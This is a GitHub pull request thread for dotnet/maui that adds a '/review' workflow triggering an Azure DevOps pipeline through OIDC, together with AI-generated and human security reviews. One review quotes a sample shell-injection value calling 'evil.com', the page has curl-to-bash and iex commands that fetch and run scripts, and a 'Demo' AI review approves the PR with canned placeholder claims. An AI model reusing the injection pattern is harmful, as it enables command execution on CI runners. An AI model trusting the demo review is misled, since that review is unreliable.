Add review triggering workflow#35250
Conversation
|
🚀 Dogfood this PR with:
curl -fsSL https://raw.githubusercontent.com/dotnet/maui/main/eng/scripts/get-maui-pr.sh | bash -s -- 35250Or
iex "& { $(irm https://raw.githubusercontent.com/dotnet/maui/main/eng/scripts/get-maui-pr.ps1) } 35250" |
There was a problem hiding this comment.
Pull request overview
Adds a GitHub Actions entrypoint to let maintainers trigger the DevDiv “maui-copilot” AzDO pipeline for a PR via a /review comment (or manual workflow dispatch), using OIDC token exchange instead of PATs.
Changes:
- Introduces a new
review-trigger.ymlworkflow that listens toissue_commentandworkflow_dispatchand queues AzDO pipeline27723. - Adds a setup/troubleshooting guide for configuring Azure managed identity + GitHub OIDC federated credentials to call the AzDO REST API.
Show a summary per file
| File | Description |
|---|---|
.github/workflows/review-trigger.yml |
New workflow that gates /review on actor permissions and triggers the DevDiv AzDO pipeline run via OIDC→Entra token exchange. |
.github/docs/trigger-azdo-pipeline-setup.md |
New documentation describing the OIDC-to-AzDO token flow and one-time identity setup steps. |
Copilot's findings
- Files reviewed: 2/2 changed files
- Comments generated: 2
Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
🤖 AI Summary
📊 Review Session —
|
| # | Source | Approach | Test Result | Files Changed | Notes |
|---|---|---|---|---|---|
| PR | PR #35250 | Add OIDC-based review trigger workflow with maintainer permission gate | ❌ FAILED (Gate) | .github/workflows/review-trigger.yml, .github/docs/trigger-azdo-pipeline-setup.md |
Original PR — no MAUI device tests applicable |
🔬 Code Review — Deep Analysis
Code Review — PR #35250
Independent Assessment
What this changes: Adds two new files: (1) a GitHub Actions workflow (review-trigger.yml) that allows maintainers to trigger the maui-copilot AzDO pipeline by commenting /review on a PR, using OIDC federated credentials instead of a PAT; (2) a detailed setup guide documenting the OIDC identity configuration required to make it work.
Inferred motivation: Maintainers want a low-friction /review command that invokes the AzDO Copilot pipeline without requiring stored secrets (PAT rotation risk) or manual pipeline runs in the AzDO portal.
Reconciliation with PR Narrative
Author claims: Workflow always runs from main (so untrusted PR code can't alter it), and unprivileged users' commands are ignored via explicit permission check.
Agreement/disagreement: Both claims are accurate. The issue_comment trigger fires the default-branch workflow YAML, and the Check actor permission step gates on admin/write. However, two security hygiene issues exist in the implementation that the PR description doesn't address.
Findings
⚠️ Warning — ${{ inputs.pr_number }} directly interpolated into bash
File: .github/workflows/review-trigger.yml, Resolve PR number step (~line 51)
run: |
if [ "${{ github.event_name }}" = "workflow_dispatch" ]; then
PR_NUMBER="${{ inputs.pr_number }}"${{ inputs.pr_number }} is expanded into the bash script before the runner executes it. If the input contains shell metacharacters (e.g., "; curl evil.com; echo "), they execute in the workflow runner context — with id-token: write permissions. This is the canonical GitHub Actions injection anti-pattern (GitHub Security Lab).
In practice, only users who can trigger workflow_dispatch (write-privileged maintainers) can supply this input, so the practical blast radius is limited to those who already have broad repo access. Still, the fix is a one-liner and eliminates the pattern entirely:
- name: Resolve PR number
id: pr
env:
GH_TOKEN: ${{ github.token }}
INPUT_PR_NUMBER: ${{ inputs.pr_number }} # ← move to env, not inline
run: |
if [ "${{ github.event_name }}" = "workflow_dispatch" ]; then
PR_NUMBER="${INPUT_PR_NUMBER}"
else
PR_NUMBER="${{ github.event.issue.number }}"
fi(github.event.issue.number is an integer assigned by GitHub — no injection risk there.)
⚠️ Warning — Sensitive tokens stored as step outputs
File: .github/workflows/review-trigger.yml, Get OIDC Token (~line 69) and Exchange for AzDO Token (~line 87) steps
echo "oidc_token=${OIDC_TOKEN}" >> "$GITHUB_OUTPUT"
# ...
echo "azdo_token=${AZDO_TOKEN}" >> "$GITHUB_OUTPUT"::add-mask:: correctly masks both values in logs. However, writing them to $GITHUB_OUTPUT means the raw token values exist in the runner's file system for the duration of the job (in the workflow's output store file). The AzDO bearer token (azdo_token) is especially sensitive — it's a short-lived but fully functional identity token.
The cleaner pattern is to chain the three network calls (OIDC → AzDO token → AzDO pipeline trigger) into a single step, eliminating the need to surface tokens as step outputs at all.
💡 Suggestion — pr_title output is set but never used
File: .github/workflows/review-trigger.yml, Resolve PR number step (~line 63)
PR_TITLE=$(echo "${PR_DATA}\" | jq -r '.title')
echo "pr_title=${PR_TITLE}" >> "$GITHUB_OUTPUT"steps.pr.outputs.pr_title is not referenced in any subsequent step. Remove both lines to eliminate dead code.
💡 Suggestion — No concurrency group defined
File: .github/workflows/review-trigger.yml
If a maintainer comments /review multiple times in quick succession, multiple AzDO pipeline runs will queue in parallel. A concurrency group would cancel stale runs.
⚠️ Warning — Permission gate misses maintain role (from prior review)
File: .github/workflows/review-trigger.yml, Check actor permission step (~line 38)
The gate only allows admin and write. GitHub also has a maintain access level for maintainers who should be able to trigger the review pipeline. Additionally, the current implementation uses exit 1 for unauthorized users, creating noisy failed workflow runs. Should use exit 0 (no-op) for unauthorized users.
Devil's Advocate
On the injection finding: Am I overstating the risk? Yes — the practical exploitability requires write access, and a write-privileged maintainer already has the ability to do far more damage via direct commits or PRs. The risk is real but the blast radius is self-limited. I'm flagging it because the fix is trivial and sets a good hygiene example for future workflows in this repo.
On the token-in-output finding: Is ::add-mask:: actually sufficient? GitHub's own documentation says masked values are redacted from logs and from step output echo in the runner UI. The underlying $GITHUB_OUTPUT file on the runner VM does contain the raw value, but only accessible to processes running on that same runner job. For ubuntu-latest GitHub-hosted runners (ephemeral VMs), this is not a meaningful attack surface. I'm flagging it as a hygiene concern, not a real vulnerability in this deployment context.
On the overall design: The OIDC approach (no PAT, managed identity, federated credential, ::add-mask:: on sensitive values, explicit permission check before acting) is well-thought-out. The documentation file is thorough and the troubleshooting table covers the real failure modes. The approach is sound.
Blast Radius Assessment
The workflow triggers only on:
- PR comments starting with
/review(gated onadmin/writepermission) workflow_dispatch(repo-level access required)
No untrusted code is executed. The workflow reads only GitHub API data (PR metadata). The OIDC token exchange is limited to a specific pipeline (DevDiv/27723). Blast radius is contained — only affects AzDO pipeline triggering.
Failure Mode Probes
| Failure Mode | Outcome |
|---|---|
Non-maintainer comments /review |
Currently: exit 1 (noisy failed run). Should be exit 0 (silent skip). |
workflow_dispatch with malicious pr_number |
Shell injection risk due to direct ${{ inputs.pr_number }} interpolation |
| OIDC token leak via step outputs | Low risk on ephemeral runners, but hygiene concern |
Parallel /review comments |
Multiple AzDO pipeline runs queued |
Verdict: NEEDS_CHANGES
Confidence: high
Errors: 0 | Warnings: 3 | Suggestions: 2
Summary: The design is solid — OIDC without a PAT is the right approach, and the maintainer permission gate is correct. Three issues should be addressed before merge: (1) missing maintain permission level + noisy exit 1 for unauthorized users, (2) the ${{ inputs.pr_number }} direct interpolation (injection anti-pattern), (3) sensitive tokens passed through step outputs. Two suggestions (dead pr_title output, no concurrency group) are minor cleanup items.
🔧 Fix — Analysis & Comparison
Fix Candidates
| # | Source | Approach | Test Result | Files Changed | Notes |
|---|---|---|---|---|---|
| 1 | try-fix | Permission gate (+maintain, exit 0) + injection fix (env var) + token hygiene (chained OIDC step) | 1 file | EstablishBrokenBaseline fails — .github/-only PR | |
| 2 | try-fix | Concurrency group + dead pr_title removal + permission comment | 1 file | Complementary to attempt 1 | |
| 3 | try-fix | Job-level if: with author_association (removes explicit permission step entirely) |
1 file | Different authorization model | |
| 4 | try-fix | Comprehensive (model unavailable) | — | gemini-3-pro-preview not available | |
| PR | PR #35250 | Add OIDC-based review trigger workflow | ❌ FAILED (Gate) | 2 files | Original PR — gate has no applicable MAUI tests |
Cross-Pollination
| Model | Round | New Ideas? | Details |
|---|---|---|---|
| claude-opus-4.6 | 2 | Yes | Use azure/login@v2 instead of manual curl OIDC dance — but NOT viable (explicitly blocked in dotnet org per PR docs; manual curl is the correct approach here) |
Exhausted: Yes (4 models queried; new idea from cross-pollination rejected as infeasible due to org policy)
Selected Fix: No passing candidates — all attempts BLOCKED. The PR's approach (manual OIDC curl) is correct for the dotnet org context. The issues are security hygiene improvements, not fundamental design flaws.
Recommendation: Apply improvements from attempts 1+2 to the PR: add "maintain" to permission gate, change exit 1 → exit 0 for unauthorized users, move ${{ inputs.pr_number }} to env var, chain token steps, add concurrency group, remove dead pr_title code.
📋 Report — Final Recommendation
⚠️ Final Recommendation: REQUEST CHANGES
Phase Status
| Phase | Status | Notes |
|---|---|---|
| Pre-Flight | ✅ COMPLETE | GitHub Actions workflow PR; no linked issue |
| Code Review | NEEDS_CHANGES (high) | 0 errors, 3 warnings, 2 suggestions |
| Gate | ❌ FAILED | android — no applicable MAUI device tests for workflow-only PR |
| Try-Fix | ✅ COMPLETE | 4 attempts, 0 passing (all BLOCKED — no MAUI test harness for .github/ files) |
| Report | ✅ COMPLETE |
Code Review Impact on Try-Fix
Code review identified 3 warnings: (1) permission gate missing maintain role + noisy exit 1 for unauthorized users, (2) ${{ inputs.pr_number }} direct bash interpolation (injection anti-pattern), (3) OIDC/AzDO tokens in step outputs. These directly shaped all 4 try-fix approaches: attempt 1 addressed issues 1+2+3, attempt 2 added concurrency group + dead code removal, attempt 3 explored a fundamentally different authorization model (job-level if: condition). Cross-pollination surfaced a azure/login idea which was rejected as infeasible (blocked by dotnet org policy per PR documentation).
Summary
PR #35250 adds a well-designed OIDC-based /review slash command that triggers the AzDO Copilot pipeline when a maintainer comments on a PR. The core design (OIDC federated credentials, no PAT, explicit permission gate) is sound. However, three security hygiene issues need to be addressed before merge:
- Permission gate misses
maintainrole and fails the job (exit 1) for unauthorized users, creating noisy failed workflow runs. Should useexit 0(silent no-op) and includemaintain. ${{ inputs.pr_number }}is directly interpolated into bash — the canonical GitHub Actions script injection anti-pattern. Fix: move toenv:variable.- OIDC and AzDO tokens are written to
$GITHUB_OUTPUT— hygiene concern. Fix: chain the three network calls into one step so tokens never leave local shell scope.
Two additional minor cleanups: remove unused pr_title output and add a concurrency group.
The Gate FAILED because this is a workflow-only PR — no Android MAUI device tests exist for .github/ changes. All try-fix attempts were Blocked for the same reason. The failure is expected and does not reflect a functional regression.
Root Cause
Not a bug fix PR — this is new feature infrastructure. The code review found security hygiene issues in the initial implementation that should be corrected before merge. The most impactful is the permission gate design (noisy failures + missing maintain role) which would degrade day-to-day maintainer experience.
Fix Quality
The PR's fix is functionally correct but has three hygiene issues flagged by code review. The prior Copilot PR review thread about maintain + exit 1 was marked resolved with author comment "It is better to have explicit info about why the command was ignored" — but the conversation appears to have concluded without the code actually being changed (the current workflow code still uses exit 1 and only checks admin/write). These issues should be addressed in the PR before merge.
Recommended changes to the PR:
- Add
"maintain"to the permission allowlist; changeexit 1→exit 0(with a log message for diagnostics) - Move
${{ inputs.pr_number }}→env: INPUT_PR_NUMBER: ${{ inputs.pr_number }}and reference${INPUT_PR_NUMBER}in the script - Chain OIDC token fetch + AzDO token exchange + pipeline trigger into a single step (no step outputs for sensitive tokens)
- Remove unused
pr_titleoutput - Add
concurrency:group (e.g.,review-trigger-pr-${{ github.event.issue.number || inputs.pr_number }})
🤖 AI Review — Demo
📋 RecommendationVerdict: ✅ This PR looks good (demo placeholder) The PR introduces changes that appear reasonable. This is sample content demonstrating that the gh-aw workflow can:
🛡️ Gate — Test Verification
🔍 Pre-Flight
🔬 Code ReviewCode follows MAUI conventions. Handler lifecycle is correctly implemented. 📋 Final ReportThis demo proves the end-to-end gh-aw → safe-outputs pipeline works correctly.
|
|
Can we extend If not provided:
|
Usage: /review -> triggers pipeline from main /review my-branch -> triggers pipeline from refs/heads/my-branch Also available as pipeline_ref input in workflow_dispatch.
- Add --platform/-p and --branch/-b flags to /review command parser - Support positional platform argument (e.g., /review 12345 android) - Pipeline default changed to 'auto' with runtime inference: 1. Deterministic: PR labels (a/ios, a/android, etc.) 2. Deterministic: Changed file paths (single-platform dominance) 3. Copilot CLI fallback for ambiguous cases - Inference step moved after Copilot CLI install for availability - Compile-time expressions treat 'auto' same as 'android' (pool, provisioning, emulator)
…fix Copilot output parsing - Use GH_COMMENT_TOKEN (authenticated) instead of COPILOT_GITHUB_TOKEN for gh api calls - Add platform/ios and platform/macos to label detection patterns - Extract last valid platform word from Copilot CLI verbose MCP output - Add debug logging for fetched labels
@kubaflo this is now supported. Either via positional or keyed args (--branch|-b; --platform|-p) |
Multimodal review — PR #35250 (Add review triggering workflow)Reviewed all three changed files ( Overall this is a great addition — OIDC instead of PATs is the right call, the setup guide captures hard-won tribal knowledge (case-sensitive subjects, Basic vs Stakeholder, 🔴 High —
|
| Severity | Count | Items |
|---|---|---|
| 🔴 High | 1 | auto platform → wrong pool |
| 🟠 Medium | 3 | Copilot fallback overkill · stale validation · glob expansion in arg parser |
| 🟡 Low | 5 | /review prefix laxness · maintain excluded · unused PR_TITLE · permissive ref sanitization · error logging |
| 📘 Doc | 1 | Subject-claim clarification |
Strong direction overall — happy to chat through the auto-platform routing if option 1 (inference in GH Actions) feels like too much surface change.
…y issues Fixes from PR #35250 review comment: 🔴 High - auto platform routes to wrong pool: Move platform inference from AzDO pipeline to GH Actions workflow. Pipeline now always receives a concrete platform value, ensuring correct pool selection, provisioning, and device setup. 🟠 Medium - Drop Copilot CLI fallback: Removed non-deterministic LLM inference. Default to android when deterministic checks (labels + file paths) are inconclusive. 🟠 Medium - Glob expansion on user comment text: Added 'set -f' before arg parsing to disable pathname expansion. 🟡 Low - /review prefix too lax: Changed condition to match exact '/review' or '/review ' prefix, preventing false positives like '/reviewing'. 🟡 Low - maintain permission excluded: Added 'maintain' to allowed permission levels alongside write/admin. 🟡 Low - Unused PR_TITLE: Now surfaces PR title in GITHUB_STEP_SUMMARY. 🟡 Low - PIPELINE_REF sanitization: Added path traversal (..) and empty segment (//) rejection. 🟡 Low - Azure error response logging: Now extracts only safe fields (error, error_description, trace_id) instead of echoing raw response that could contain tokens. 📘 Doc - Setup doc subject-claim clarification: Added note explaining OIDC sub claim mapping for issue_comment vs pull_request events.
PureWeen
left a comment
There was a problem hiding this comment.
Adversarial Code Review — 3 Independent Reviewers
Methodology: 3 independent reviewers with adversarial consensus
CI Status: All checks passing
Summary
| # | Severity | Category | Consensus | Issue |
|---|---|---|---|---|
| 1 | Error | Command Injection | 2/3 | Shell injection via ${{ inputs.pr_number }} direct interpolation (line 67) |
| 2 | Warning | JSON Injection | 2/3 | Hand-built JSON with unsanitized input (line 235) |
| 3 | Warning | Command Injection | 2/3 | Step outputs re-interpolated via ${{ }} in downstream steps (lines 134, 151) |
| 4 | Suggestion | Documentation | 2/3 | Input description says branch/tag but only branches work (line 25) |
| 5 | Suggestion | Logic | 2/3 | Arg parser swallows next flag as option value (line 82) |
| 6 | Suggestion | Logic | 2/3 | PIPELINE_REF sanitization misses leading / (line 117) |
Key recommendation
Finding 1 is the blocking issue. Pass inputs.pr_number through env: instead of ${{ }} and validate it is numeric. This also neutralizes Findings 2-3.
The removal of file-based platform inference in the latest commit is a good simplification.
See inline comments for details and fix suggestions.
Inline Findings (GitHub API blocked inline placement — posting as comment)Finding 1 — Line 67 ❌ Command Injection env:
INPUT_PR_NUMBER: ${{ inputs.pr_number }}
run: |
PR_NUMBER="${INPUT_PR_NUMBER}"
if ! [[ "${PR_NUMBER}" =~ ^[1-9][0-9]*$ ]]; then
echo "::error::pr_number must be a positive integer"; exit 1
fiFinding 2 — Line 235 Finding 3 — Line 134 Finding 4 — Line 25 💡 Documentation Finding 5 — Line 82 💡 Logic Finding 6 — Line 117 💡 Logic |
|
/azp run maui-pr-uitests, maui-pr-devicetests |
|
Azure Pipelines successfully started running 2 pipeline(s). |
Context
Add ability for maintainers to trigger the AzDO PR review pipeline via
/reviewcomment on PRNotes
Tested execution:
GitHub Actions run: https://github.com/dotnet/maui/actions/runs/25163585137
DevDiv pipeline run: https://devdiv.visualstudio.com/DevDiv/_build/results?buildId=13980704